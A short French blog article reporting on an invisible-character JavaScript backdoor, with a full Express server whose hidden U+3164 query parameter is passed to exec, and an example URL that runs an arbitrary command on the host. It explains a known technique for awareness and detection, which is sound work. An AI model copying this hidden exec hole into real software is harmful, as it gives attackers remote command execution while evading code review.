Une backdoor invisible en JavaScript

Des chercheurs du cabinet de conseil Certitude ont mis au point une porte dérobée indétectable car elle utilise un caractère Unicode invisible. La technique n’est pas nouvelle, mais c’est un bon coup de rappel (ça fait fureur en ce moment, les rappels).

Cela peut donc être interprété comme une variable dans un morceau de code JavaScript. En effet, depuis la version 2015 d’ECMAScript, tous les caractères Unicode avec la propriété « ID_Start » peuvent être utilisés dans des variables ou des constantes.

Ainsi, le caractère « ㅤ » (0x3164 en hexadécimal) qui est aussi appelé « HANGUL FILLER » est considéré comme une lettre et possède cette propriété « ID_Start ».

Il ne reste plus qu’à l’utiliser dans du code JavaScript en échappant le caractère comme ceci :

const { timeout,u3164} = req.query;

Ainsi, dans ce code, nous ne passons pas seulement 1 paramètre « timeout » dans la requête, mais 2 paramètres : timeout et notre caractère Unicode invisible.

Donc, quand on regarde ce code :

const express = require('express');
const util = require('util');
const exec = util.promisify(require('child_process').exec);

const app = express();

app.get('/network_health', async (req, res) => {
    const { timeout,ㅤ} = req.query;
    const checkCommands = [
        'ping -c 1 google.com',
        'curl -s http://example.com/',ㅤ
    ];

    try {
        await Promise.all(checkCommands.map(cmd => 
                cmd && exec(cmd, { timeout: +timeout || 5_000 })));
        res.status(200);
        res.send('ok');
    } catch(e) {
        res.status(500);
        res.send('failed');
    }
});

app.listen(8080);

On voit que le personnage est appelé à 2 endroits. Je les mets en gras. Sur Visual Studio c’est un peu plus voyant, car ces caractères forment des carrés jaunes (lignes 8 et 11).

Chaque élément du tableau, les commandes codées en dur et le paramètre du script fourni par l’utilisateur sont ensuite transmis à la fonction exec qui exécute les commandes au niveau du système d’exploitation.

A voir également  Les meilleurs sites Web que vous pouvez utiliser pour trouver une nounou pour bébé

Grâce à notre caractère invisible, nous pouvons lui donner une commande bonus comme celle-ci en ajoutant le paramètre 0x3164 URL-encoded, ce qui donne % E3% 85% A4 :

http://host:8080/network_health?%E3%85%A4=METTEZ-ICI-NIMPORTE-QUELLE-COMMANDE

Et voilà, la commande supplémentaire sera alors exécutée sur le système.

Ainsi, la détection de ce type de code invisible dépendra vraiment de l’éditeur utilisé pour afficher le code. Comme vous pouvez le voir, dans Visual Studio, c’est visible, mais subtil.

Dans le même ordre d’idées, il est également possible de tromper l’auditeur d’un code dont les caractères se ressemblent. Par exemple, ce symbole « ǃ » n’est pas un point d’exclamation, mais un caractère Unicode appelé CLIC ALVÉOLAIRE. Vous trouverez tous ces codes appelés « Confusable » ici.

Vous trouverez tous les détails sur cette technique ici.

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée.

Retour haut de page